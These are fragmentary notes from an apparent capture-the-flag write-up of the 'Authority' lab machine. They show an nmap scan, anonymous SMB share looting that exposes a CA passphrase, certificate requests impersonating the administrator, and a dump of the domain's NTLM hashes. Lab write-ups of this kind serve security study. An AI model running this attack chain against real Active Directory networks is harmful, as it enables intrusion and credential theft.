PORT STATE SERVICE VERSION 53/tcp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | DNS-SD-TCP: | _services | _dns-sd | _udp |_ local 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: IIS Windows Server |_http-server-header: Microsoft-IIS/10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-19 09:15:10Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-07-19T09:17:08+00:00; -3h01m18s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB | Not valid before: 2022-08-09T23:03:21 |_Not valid after: 2024-08-09T23:13:21 445/tcp open microsoft-ds? 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-07-19T09:17:05+00:00; -3h01m18s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB | Not valid before: 2022-08-09T23:03:21 |_Not valid after: 2024-08-09T23:13:21 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB | Not valid before: 2022-08-09T23:03:21 |_Not valid after: 2024-08-09T23:13:21 |_ssl-date: 2026-07-19T09:17:08+00:00; -3h01m17s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-07-19T09:17:06+00:00; -3h01m17s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB | Not valid before: 2022-08-09T23:03:21 |_Not valid after: 2024-08-09T23:13:21 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 8443/tcp open ssl/http Apache Tomcat (language: en) |_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1). | tls-alpn: |_ h2 | ssl-cert: Subject: commonName=172.16.2.118 | Not valid before: 2026-07-17T09:00:23 |_Not valid after: 2028-07-18T20:38:47 |_ssl-date: TLS randomness does not represent time Host script results: | smb2-time: | date: 2026-07-19T09:16:15 |_ start_date: N/A |_clock-skew: mean: -3h01m17s, deviation: 0s, median: -3h01m17s | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 144.81 seconds sudo nmap -Pn -sV -A -p 445 -T4 $TARGET
域名 authority.htb DNS: authority.htb.corp
1
echo "10.129.229.56 authority.htb" | sudo tee -a /etc/hosts
80 IIS
windows server 默认页 应该是有其他 web 服务
8443 Apache Tomcat
Bad Request This combination of host and port requires TLS.
Configuration Manager Password Self Service 需要登录 PWM is in open configuration mode and is not secure.
暂时缺少凭据.
445 SMB
1 2 3 4 5 6 7 8 9 10 11 12
# 匿名 smbclient -L //10.129.229.56 -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share Department Shares Disk Development Disk IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share SMB1 disabled -- no workgroup available
Department Shares Development
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
smbclient -L '//10.129.229.56/Department Shares' -N SMB1 disabled -- no workgroup available smb: \> ls NT_STATUS_ACCESS_DENIED listing \*
smbclient -L //10.129.229.56/Development -N SMB1 disabled -- no workgroup available ls : Automation cd Automation/Ansible smb: \Automation\Ansible\> ls . D 0 Fri Mar 17 21:20:50 2023 .. D 0 Fri Mar 17 21:20:50 2023 ADCS D 0 Fri Mar 17 21:20:48 2023 LDAP D 0 Fri Mar 17 21:20:48 2023 PWM D 0 Fri Mar 17 21:20:48 2023 SHARE D 0 Fri Mar 17 21:20:48 2023 smb: \Automation\Ansible\> recurse ON smb: \Automation\Ansible\> prompt OFF smb: \Automation\Ansible\> mget *
# A passphrase for the CA key. ca_passphrase:SuP3rS3creT
# The common name for the CA. ca_common_name:authority.htb
# Other details for the CA. ca_country_name:NL ca_email_address:admin@authority.htb ca_organization_name:htb ca_organizational_unit_name:htb ca_state_or_province_name:Utrecht ca_locality_name:Utrecht
[*] Requesting certificate via RPC [*] Request ID is 2 [-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate. Would you like to save the private key? (y/N): y [*] Saving private key to '2.key' [*] Wrote private key to '2.key' [-] Failed to request certificate > ls 2.key
[*] Certificate identities: [*] SAN UPN: 'administrator@authority.htb' [*] Using principal: 'administrator@authority.htb' [*] Trying to get TGT... [-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type) [-] Use -debug to print a stacktrace [-] See the wiki for more information
[*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bd6bd7fcab60ba569e3ed57c7c322908::: svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1::: AUTHORITY$:1000:aad3b435b51404eeaad3b435b51404ee:1ebad643fd4797c949919dec52f955e4::: EVILPC$:12102:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::